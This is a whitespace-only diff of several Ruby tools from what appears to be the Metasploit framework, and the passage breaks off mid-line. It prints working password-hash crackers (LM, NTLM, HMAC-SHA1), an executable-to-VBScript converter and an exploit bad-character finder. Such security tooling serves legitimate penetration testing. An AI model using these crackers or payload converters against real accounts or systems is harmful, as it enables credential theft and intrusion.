diff --git a/tools/exe2vbs.rb b/tools/exe2vbs.rb index e4c47240ae..b4b54df1bb 100755 --- a/tools/exe2vbs.rb +++ b/tools/exe2vbs.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -22,15 +22,15 @@ require 'rex' require 'msf/base' def usage - $stderr.puts(" Usage: #{$0} [exe] [vbs]\n") - exit + $stderr.puts(" Usage: #{$0} [exe] [vbs]\n") + exit end exe = ARGV.shift vbs = ARGV.shift if (not (exe and vbs)) - usage + usage end out = File.new(vbs, "w") @@ -38,7 +38,7 @@ inp = File.open(exe, "rb") dat = "" while(buf = inp.read(8192)) - dat << buf + dat << buf end out.write(Msf::Util::EXE.to_exe_vbs(dat)) diff --git a/tools/find_badchars.rb b/tools/find_badchars.rb index 661392eb15..319e9981eb 100755 --- a/tools/find_badchars.rb +++ b/tools/find_badchars.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -24,33 +24,33 @@ OutStatus = "[*] " OutError = "[-] " $args = Rex::Parser::Arguments.new( - "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], - "-h" => [ false, "Help banner" ], - "-i" => [ true, "Read memory contents from the supplied file path" ], - "-t" => [ true, "The format that the memory contents are in (empty to list)" ]) + "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Read memory contents from the supplied file path" ], + "-t" => [ true, "The format that the memory contents are in (empty to list)" ]) def usage - $stderr.puts("\n" + " Usage: #{File.basename($0)} <options>\n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{File.basename($0)} <options>\n" + $args.usage) + exit end def show_format_list - $stderr.puts("Supported formats:\n") - $stderr.puts(" raw raw binary data\n") - $stderr.puts(" windbg output from windbg's \"db\" command\n") - $stderr.puts(" gdb output from gdb's \"x/bx\" command\n") - $stderr.puts(" hex hex bytes like \"\\xFF\\x41\" or \"eb fe\"\n") + $stderr.puts("Supported formats:\n") + $stderr.puts(" raw raw binary data\n") + $stderr.puts(" windbg output from windbg's \"db\" command\n") + $stderr.puts(" gdb output from gdb's \"x/bx\" command\n") + $stderr.puts(" hex hex bytes like \"\\xFF\\x41\" or \"eb fe\"\n") end def debug_buffer(name, buf) - str = "\n#{buf.length} bytes of " - str << name - str += ":" if buf.length > 0 - str += "\n\n" - $stderr.puts str - if buf.length > 0 - $stderr.puts Rex::Text.to_hex_dump(buf) - end + str = "\n#{buf.length} bytes of " + str << name + str += ":" if buf.length > 0 + str += "\n\n" + $stderr.puts str + if buf.length > 0 + $stderr.puts Rex::Text.to_hex_dump(buf) + end end @@ -64,34 +64,34 @@ new_badchars = '' # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - case opt - when "-i" - begin - input = File.new(val) - rescue - $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") - exit - end - when "-b" - badchars = Rex::Text.hex_to_raw(val) - when "-t" - if (val =~ /^(raw|windbg|gdb|hex)$/) - fmt = val - else - if val.nil? or val.length < 1 - show_format_list - else - $stderr.puts(OutError + "Invalid format: #{val}") - end - exit - end - when "-h" - usage - end + case opt + when "-i" + begin + input = File.new(val) + rescue + $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") + exit + end + when "-b" + badchars = Rex::Text.hex_to_raw(val) + when "-t" + if (val =~ /^(raw|windbg|gdb|hex)$/) + fmt = val + else + if val.nil? or val.length < 1 + show_format_list + else + $stderr.puts(OutError + "Invalid format: #{val}") + end + exit + end + when "-h" + usage + end } if input == $stdin - $stderr.puts(OutStatus + "Please paste the memory contents in \"" + fmt + "\" format below (end with EOF):\n") + $stderr.puts(OutStatus + "Please paste the memory contents in \"" + fmt + "\" format below (end with EOF):\n") end @@ -104,29 +104,29 @@ from_dbg = '' # Process the input from_dbg = input.read case fmt - when "raw" - # this should already be in the correct format :) + when "raw" + # this should already be in the correct format :) - when "windbg" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp[10,47].gsub!(/(-| )/, '') - end - from_dbg = Rex::Text.hex_to_raw(translated) - - when "gdb" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp.split(':')[1].gsub!(/0x/, '\x').gsub!(/ /, '') - end - from_dbg = Rex::Text.hex_to_raw(translated) + when "windbg" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp[10,47].gsub!(/(-| )/, '') + end + from_dbg = Rex::Text.hex_to_raw(translated) + + when "gdb" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp.split(':')[1].gsub!(/0x/, '\x').gsub!(/ /, '') + end + from_dbg = Rex::Text.hex_to_raw(translated) - when "hex" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp.gsub!(/ /,'') - end - from_dbg = Rex::Text.hex_to_raw(translated) + when "hex" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp.gsub!(/ /,'') + end + from_dbg = Rex::Text.hex_to_raw(translated) end @@ -145,19 +145,19 @@ from_dbg = from_dbg.unpack('C*') minlen = from_msf.length minlen = from_dbg.length if from_dbg.length < minlen (0..(minlen-1)).each do |idx| - ch1 = from_msf[idx] - ch2 = from_dbg[idx] - if ch1 != ch2 - str = "Byte at index 0x%04x differs (0x%02x became 0x%02x)" % [idx, ch1, ch2] - $stderr.puts OutStatus + str - new_badchars << ch1 - end + ch1 = from_msf[idx] + ch2 = from_dbg[idx] + if ch1 != ch2 + str = "Byte at index 0x%04x differs (0x%02x became 0x%02x)" % [idx, ch1, ch2] + $stderr.puts OutStatus + str + new_badchars << ch1 + end end # show the results if new_badchars.length < 1 - $stderr.puts(OutStatus + "All characters matched, no new bad characters discovered.") + $stderr.puts(OutStatus + "All characters matched, no new bad characters discovered.") else - $stderr.puts(OutStatus + "Proposed BadChars: \"" + Rex::Text.to_hex(new_badchars) + "\"") + $stderr.puts(OutStatus + "Proposed BadChars: \"" + Rex::Text.to_hex(new_badchars) + "\"") end diff --git a/tools/halflm_second.rb b/tools/halflm_second.rb index 4e877981cd..3931589373 100755 --- a/tools/halflm_second.rb +++ b/tools/halflm_second.rb @@ -12,7 +12,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,63 +23,63 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' def usage - $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) + exit end def try(word,challenge) - buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge) - buf.unpack("H*")[0] + buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge) + buf.unpack("H*")[0] end hash = pass = chall = nil $args = Rex::Parser::Arguments.new( - "-n" => [ true, "The encypted LM hash to crack" ], - "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], - "-s" => [ true, "The server challenge (default value 1122334455667788)" ], - "-h" => [ false, "Display this help information" ]) + "-n" => [ true, "The encypted LM hash to crack" ], + "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], + "-s" => [ true, "The server challenge (default value 1122334455667788)" ], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-n" - hash = val - when "-p" - pass = val - when "-s" - chall = val - when "-h" - usage - else - usage - end + case opt + when "-n" + hash = val + when "-p" + pass = val + when "-s" + chall = val + when "-h" + usage + else + usage + end } if (not (hash and pass)) - usage + usage end if (not chall) - chall = ["1122334455667788"].pack("H*") + chall = ["1122334455667788"].pack("H*") else - if not chall =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - else - chall = [chall].pack("H*") - end + if not chall =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + else + chall = [chall].pack("H*") + end end if(hash.length != 48) - $stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal" - exit + $stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal" + exit end if(pass.length != 7) - $stderr.puts "[*] Cracked LANMAN password should be exactly 7 characters" - exit + $stderr.puts "[*] Cracked LANMAN password should be exactly 7 characters" + exit end @@ -92,22 +92,22 @@ cset = [*(1..255)].pack("C*").upcase.unpack("C*").uniq stime = Time.now.to_f puts "[*] Trying one character..." 0.upto(cset.length-1) do |c1| - test = pass + cset[c1].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end etime = Time.now.to_f - stime puts "[*] Trying two characters (eta: #{etime * cset.length} seconds)..." 0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c2| - test = pass + cset[c1].chr + cset[c2].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end @@ -115,11 +115,11 @@ puts "[*] Trying three characters (eta: #{etime * cset.length * cset.length} sec 0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c3| - test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end end @@ -130,11 +130,11 @@ puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cse 0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c3| 0.upto(cset.length-1) do |c4| - test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end end diff --git a/tools/hmac_sha1_crack.rb b/tools/hmac_sha1_crack.rb index 9cab5a991a..55032893e2 100755 --- a/tools/hmac_sha1_crack.rb +++ b/tools/hmac_sha1_crack.rb @@ -12,7 +12,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -25,9 +25,9 @@ require 'rex' require 'openssl' def usage - $stderr.puts("\nUsage: #{$0} hashes.txt <wordlist | - >\n") - $stderr.puts("The format of hash file is <identifier>:<hex-salt>:<hash>\n\n") - exit + $stderr.puts("\nUsage: #{$0} hashes.txt <wordlist | - >\n") + $stderr.puts("The format of hash file is <identifier>:<hex-salt>:<hash>\n\n") + exit end @@ -40,23 +40,23 @@ hash_fd = ::File.open(hash_inp, "rb") word_fd = $stdin if word_inp != "-" - word_fd = ::File.open(word_inp, "rb") + word_fd = ::File.open(word_inp, "rb") end hashes = [] hash_fd.each_line do |line| - next unless line.strip.length > 0 - h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3) + next unless line.strip.length > 0 + h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3) - unless h_id and h_salt and h_hash - $stderr.puts "[-] Invalid hash entry, missing field: #{line}" - next - end - unless h_salt =~ /^[a-f0-9]+$/i - $stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}" - next - end - hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ] + unless h_id and h_salt and h_hash + $stderr.puts "[-] Invalid hash entry, missing field: #{line}" + next + end + unless h_salt =~ /^[a-f0-9]+$/i + $stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}" + next + end + hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ] end hash_fd.close @@ -66,23 +66,23 @@ count = 0 cracked = 0 word_fd.each_line do |line| - # Preferable to strip so we can test passwords made of whitespace (or null) - line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '') - hashes.each do |hinfo| - if OpenSSL::HMAC.digest('sha1', line.to_s, hinfo[1]) == hinfo[2] - $stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line.to_s ].join(":") - $stdout.flush - hinfo[3] = true - cracked += 1 - end - count += 1 - - if count % 2500000 == 0 - $stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)" - end - end - hashes.delete_if {|e| e[3] } - break if hashes.length == 0 + # Preferable to strip so we can test passwords made of whitespace (or null) + line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '') + hashes.each do |hinfo| + if OpenSSL::HMAC.digest('sha1', line.to_s, hinfo[1]) == hinfo[2] + $stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line.to_s ].join(":") + $stdout.flush + hinfo[3] = true + cracked += 1 + end + count += 1 + + if count % 2500000 == 0 + $stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)" + end + end + hashes.delete_if {|e| e[3] } + break if hashes.length == 0 end word_fd.close diff --git a/tools/import_webscarab.rb b/tools/import_webscarab.rb index 9a8ab88c49..f68a949c5d 100755 --- a/tools/import_webscarab.rb +++ b/tools/import_webscarab.rb @@ -16,19 +16,19 @@ puts "--- WMAP WebScarab Session Importer -------------------------------------- puts if ARGV.length < 2 - $stderr.puts("Usage: #{File.basename($0)} wescarabdirectory sqlite3database [target] [startrequest]") - $stderr.puts - $stderr.puts("webscarabdirectory\tThe directory where you stored the webscarab session") - $stderr.puts("sqlite3database\t\tThe name of the database file") - $stderr.puts("target\t\t\tThe target (host or domain) you want to add to the database") - $stderr.puts("startrequest\tThe request to start with...") - $stderr.puts - $stderr.puts("Examples:") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db example.com") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com 21") - exit + $stderr.puts("Usage: #{File.basename($0)} wescarabdirectory sqlite3database [target] [startrequest]") + $stderr.puts + $stderr.puts("webscarabdirectory\tThe directory where you stored the webscarab session") + $stderr.puts("sqlite3database\t\tThe name of the database file") + $stderr.puts("target\t\t\tThe target (host or domain) you want to add to the database") + $stderr.puts("startrequest\tThe request to start with...") + $stderr.puts + $stderr.puts("Examples:") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db example.com") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com 21") + exit end ws_directory = ARGV.shift @@ -38,13 +38,13 @@ start_id = ARGV.shift.to_i || 1 # check if we have what we need... if File.exists?(ws_directory+ File::SEPARATOR) == false then - $stderr.puts("ERROR: Can't find webscarab directory #{ws_directory}.") - exit + $stderr.puts("ERROR: Can't find webscarab directory #{ws_directory}.") + exit end if File.file?(db_file) == false then - $stderr.puts("ERROR: Can't find sqlite3 database file #{db_file}.") - exit + $stderr.puts("ERROR: Can't find sqlite3 database file #{db_file}.") + exit end # Prepare the database @@ -53,7 +53,7 @@ database = SQLite3::Database.new(db_file) # Prepare the insert statement... insert_statement = database.prepare("INSERT INTO requests(host,port,ssl,meth,path,headers,query,body,respcode,resphead,response,created)" + - " VALUES(:host,:port,:ssl,:meth,:path,:headers,:query,:body,:respcode,:resphead,:response,:created)"); + " VALUES(:host,:port,:ssl,:meth,:path,:headers,:query,:body,:respcode,:resphead,:response,:created)"); # target hash -> Resolving dns names is soooo slow, I don't know why. So we use the # following hash as a "micro hosts", so we don't have to call getaddress each time... @@ -62,117 +62,117 @@ target_ips = {} # Try to open the conversationlog file File.open("#{ws_directory+File::SEPARATOR}conversationlog", "rb") do |log| - # regulare expressions to extract the stuff that we really need - # i know that the url stuff can be handeled in one request but - # i am toooo lazy... - regex_conversation = /^### Conversation : (\d+)/ - regex_datetime = /^WHEN: (\d+)/ - regex_method = /^METHOD: (\S+)/ - regex_status = /^STATUS: (\d\d\d)/ - regex_url = /^URL: (http|https)?:\/\/(\S+):(\d+)\/([^\?]*)\?*(\S*)/ + # regulare expressions to extract the stuff that we really need + # i know that the url stuff can be handeled in one request but + # i am toooo lazy... + regex_conversation = /^### Conversation : (\d+)/ + regex_datetime = /^WHEN: (\d+)/ + regex_method = /^METHOD: (\S+)/ + regex_status = /^STATUS: (\d\d\d)/ + regex_url = /^URL: (http|https)?:\/\/(\S+):(\d+)\/([^\?]*)\?*(\S*)/ - while line = log.gets - if line =~ regex_conversation then - conversation_id = regex_conversation.match(line)[1] - next if conversation_id.to_i < start_id + while line = log.gets + if line =~ regex_conversation then + conversation_id = regex_conversation.match(line)[1] + next if conversation_id.to_i < start_id - # we don't care about scripts, commets - while (line =~ regex_datetime) == nil - line = log.gets - end + # we don't care about scripts, commets + while (line =~ regex_datetime) == nil + line = log.gets + end - # Add a dot to the timestring so we can convert it more easily - date_time = regex_datetime.match(line)[1] - date_time = Time.at(date_time.insert(-4, '.').to_f) + # Add a dot to the timestring so we can convert it more easily + date_time = regex_datetime.match(line)[1] + date_time = Time.at(date_time.insert(-4, '.').to_f) - method = regex_method.match(log.gets)[1] + method = regex_method.match(log.gets)[1] - # we don't care about COOKIES - while (line =~ regex_status) == nil - line = log.gets - end - status = regex_status.match(line)[1] + # we don't care about COOKIES + while (line =~ regex_status) == nil + line = log.gets + end + status = regex_status.match(line)[1] - url_matcher = regex_url.match(log.gets) + url_matcher = regex_url.match(log.gets) - puts "Processing (#{conversation_id}): #{url_matcher[0]}" + puts "Processing (#{conversation_id}): #{url_matcher[0]}" - ssl = url_matcher[1] == "https" - host_name = url_matcher[2] - port = url_matcher[3] - path = url_matcher[4].chomp - query = url_matcher[5] + ssl = url_matcher[1] == "https" + host_name = url_matcher[2] + port = url_matcher[3] + path = url_matcher[4].chomp + query = url_matcher[5] - if host_name.match("#{target}$").nil? == true then - puts("Not the selected target, skipping...") - next - end + if host_name.match("#{target}$").nil? == true then + puts("Not the selected target, skipping...") + next + end - if(target_ips.has_key?(host_name)) then - host = target_ips[host_name] - else - ip = Resolv.getaddress(host_name) - target_ips[host_name] = ip - host = ip - end + if(target_ips.has_key?(host_name)) then + host = target_ips[host_name] + else + ip = Resolv.getaddress(host_name) + target_ips[host_name] = ip + host = ip + end - # set the parameters in the insert query - insert_statement.bind_param("host", host) - insert_statement.bind_param("port", port) - insert_statement.bind_param("ssl", ssl) - insert_statement.bind_param("meth", method) - insert_statement.bind_param("path", path) - insert_statement.bind_param("query", query) - insert_statement.bind_param("respcode", status) - insert_statement.bind_param("created", date_time) - insert_statement.bind_param("respcode", status) + # set the parameters in the insert query + insert_statement.bind_param("host", host) + insert_statement.bind_param("port", port) + insert_statement.bind_param("ssl", ssl) + insert_statement.bind_param("meth", method) + insert_statement.bind_param("path", path) + insert_statement.bind_param("query", query) + insert_statement.bind_param("respcode", status) + insert_statement.bind_param("created", date_time) + insert_statement.bind_param("respcode", status) - #Open the files with the requests and the responses... - request_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-request" - puts("Reading #{request_filename}") - request_file = File.open(request_filename, "rb") + #Open the files with the requests and the responses... + request_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-request" + puts("Reading #{request_filename}") + request_file = File.open(request_filename, "rb") - # Analyse the request - request_header = "" - request_file.gets # we don't need the return code... - while(request_line = request_file.gets) do - request_header += request_line - break if request_line == "\r\n" - end + # Analyse the request + request_header = "" + request_file.gets # we don't need the return code... + while(request_line = request_file.gets) do + request_header += request_line + break if request_line == "\r\n" + end - request_body = "" - while(request_line = request_file.gets) do - request_body += request_line - end + request_body = "" + while(request_line = request_file.gets) do + request_body += request_line + end - insert_statement.bind_param("headers", request_header) - insert_statement.bind_param("body", request_body) + insert_statement.bind_param("headers", request_header) + insert_statement.bind_param("body", request_body) - request_file.close() + request_file.close() - response_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response" - puts("Reading #{response_filename}") - response_file = File.open("#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response", "rb") + response_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response" + puts("Reading #{response_filename}") + response_file = File.open("#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response", "rb") - # scip the first line - response_file.gets + # scip the first line + response_file.gets - # Analyse the response - response_header = "" - while(response_line = response_file.gets) do - response_header += response_line - break if response_line == "\r\n" - end + # Analyse the response + response_header = "" + while(response_line = response_file.gets) do + response_header += response_line + break if response_line == "\r\n" + end - response_body = response_file.read + response_body = response_file.read - insert_statement.bind_param("resphead", response_header) - insert_statement.bind_param("response", response_body) + insert_statement.bind_param("resphead", response_header) + insert_statement.bind_param("response", response_body) - response_file.close() + response_file.close() - insert_statement.execute() - end - end + insert_statement.execute() + end + end end diff --git a/tools/list_interfaces.rb b/tools/list_interfaces.rb index 34f53de112..174b42d73d 100755 --- a/tools/list_interfaces.rb +++ b/tools/list_interfaces.rb @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -22,50 +22,50 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] if RUBY_PLATFORM == "i386-mingw32" - begin - require 'network_interface' - rescue ::Exception => e - $stderr.puts "Error: NetworkInterface is not installed..." - exit - end + begin + require 'network_interface' + rescue ::Exception => e + $stderr.puts "Error: NetworkInterface is not installed..." + exit + end - unless ( - NetworkInterface.respond_to?(:interfaces) and - NetworkInterface.respond_to?(:addresses) and - NetworkInterface.respond_to?(:interface_info) - ) - $stderr.puts "Error: Looks like you are not running the latest version of NetworkInterface" - exit - end - found = false - NetworkInterface.interfaces.each_with_index do |iface, i| - found = true - detail = NetworkInterface.interface_info(iface) - addr = NetworkInterface.addresses(iface) - puts "#" * 70 - puts "" - puts "INDEX : " + (i + 1).to_s - puts "NAME : " + detail["name"] - puts "DESCRIPTION : " + detail["description"] - puts "GUID : " + detail["guid"] - if addr[NetworkInterface::AF_LINK][0]['addr'] - puts "MAC ADDRESS : #{addr[NetworkInterface::AF_LINK][0]['addr']}" - else - puts "MAC ADDRESS : NONE" - end - if addr[NetworkInterface::AF_INET][0]['addr'] and addr[NetworkInterface::AF_INET][0]['netmask'] - puts "IP ADDRESS : #{addr[NetworkInterface::AF_INET][0]['addr']}/#{addr[NetworkInterface::AF_INET][0]['netmask']}" - else - puts "IP ADDRESS : NONE" - end - puts "" - end - if found - puts "#" * 70 - else - $stderr.puts "Error, no network interfaces have been detected" - end + unless ( + NetworkInterface.respond_to?(:interfaces) and + NetworkInterface.respond_to?(:addresses) and + NetworkInterface.respond_to?(:interface_info) + ) + $stderr.puts "Error: Looks like you are not running the latest version of NetworkInterface" + exit + end + found = false + NetworkInterface.interfaces.each_with_index do |iface, i| + found = true + detail = NetworkInterface.interface_info(iface) + addr = NetworkInterface.addresses(iface) + puts "#" * 70 + puts "" + puts "INDEX : " + (i + 1).to_s + puts "NAME : " + detail["name"] + puts "DESCRIPTION : " + detail["description"] + puts "GUID : " + detail["guid"] + if addr[NetworkInterface::AF_LINK][0]['addr'] + puts "MAC ADDRESS : #{addr[NetworkInterface::AF_LINK][0]['addr']}" + else + puts "MAC ADDRESS : NONE" + end + if addr[NetworkInterface::AF_INET][0]['addr'] and addr[NetworkInterface::AF_INET][0]['netmask'] + puts "IP ADDRESS : #{addr[NetworkInterface::AF_INET][0]['addr']}/#{addr[NetworkInterface::AF_INET][0]['netmask']}" + else + puts "IP ADDRESS : NONE" + end + puts "" + end + if found + puts "#" * 70 + else + $stderr.puts "Error, no network interfaces have been detected" + end else - $stderr.puts "Error: This script is useful only on Windows, under other OS just use the built-in commands (ifconfig, ip link show, ...)" - exit + $stderr.puts "Error: This script is useful only on Windows, under other OS just use the built-in commands (ifconfig, ip link show, ...)" + exit end diff --git a/tools/lm2ntcrack.rb b/tools/lm2ntcrack.rb index 9bd1893e42..7e24904feb 100755 --- a/tools/lm2ntcrack.rb +++ b/tools/lm2ntcrack.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,849 +29,849 @@ HASH_MODE = 2 PASS_MODE = 3 def usage - $stderr.puts("\nUsage: #{$0} -t type <options>\n" + $args.usage) - $stderr.puts("This tool can be use in 3 ways whatever type is choosen\n") - $stderr.puts("-If only a password (-p) is provided, it will display the hash.\n") - $stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n") - $stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n") - exit + $stderr.puts("\nUsage: #{$0} -t type <options>\n" + $args.usage) + $stderr.puts("This tool can be use in 3 ways whatever type is choosen\n") + $stderr.puts("-If only a password (-p) is provided, it will display the hash.\n") + $stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n") + $stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n") + exit end def permute_pw(pw) - # fast permutation from http://stackoverflow.com/a/1398900 - perms = [""] - if pw.nil? - return perms - end - tail = pw.downcase - while tail.length > 0 do - head, tail, psize = tail[0..0], tail[1..-1], perms.size - hu = head.upcase - for i in (0...psize) - tp = perms[i] - perms[i] = tp + hu - if hu != head - perms.push(tp + head) - end - end - end - return perms + # fast permutation from http://stackoverflow.com/a/1398900 + perms = [""] + if pw.nil? + return perms + end + tail = pw.downcase + while tail.length > 0 do + head, tail, psize = tail[0..0], tail[1..-1], perms.size + hu = head.upcase + for i in (0...psize) + tp = perms[i] + perms[i] = tp + hu + if hu != head + perms.push(tp + head) + end + end + end + return perms end type = hash = pass = srvchal = clichal = calculatedhash = list = user = domain = nil $args = Rex::Parser::Arguments.new( - "-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ], - "-a" => [ true, "The hash to crack" ], - "-p" => [ true, "The password " ], - "-l" => [ true, "The list of password to check against an hash" ], - "-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ], - "-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ], - "-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ], - "-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ], - "-h" => [ false, "Display this help information" ]) + "-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ], + "-a" => [ true, "The hash to crack" ], + "-p" => [ true, "The password " ], + "-l" => [ true, "The list of password to check against an hash" ], + "-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ], + "-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ], + "-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ], + "-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-t" - type = val - when "-a" - hash = val - when "-p" - pass = val - when "-l" - list = val - when "-s" - srvchal = val - when "-c" - clichal = val - when "-u" - user = val - when "-d" - domain = val - when "-h" - usage - else - usage - end + case opt + when "-t" + type = val + when "-a" + hash = val + when "-p" + pass = val + when "-l" + list = val + when "-s" + srvchal = val + when "-c" + clichal = val + when "-u" + user = val + when "-d" + domain = val + when "-h" + usage + else + usage + end } if not type - usage + usage else - if pass and (not (hash or list)) - mode = HASH_MODE - elsif pass and hash and not list - mode = PASS_MODE - elsif list and hash and not pass - mode = BRUTE_MODE - if not File.exist? list - $stderr.puts "[*] The passwords list file does not exist" - exit - end - if not File.file? list - $stderr.puts "[*] The passwords list provided is not a file" - exit - end - if not File.readable? list - $stderr.puts "[*] The passwords list file is not readable" - exit - end - else - usage - end + if pass and (not (hash or list)) + mode = HASH_MODE + elsif pass and hash and not list + mode = PASS_MODE + elsif list and hash and not pass + mode = BRUTE_MODE + if not File.exist? list + $stderr.puts 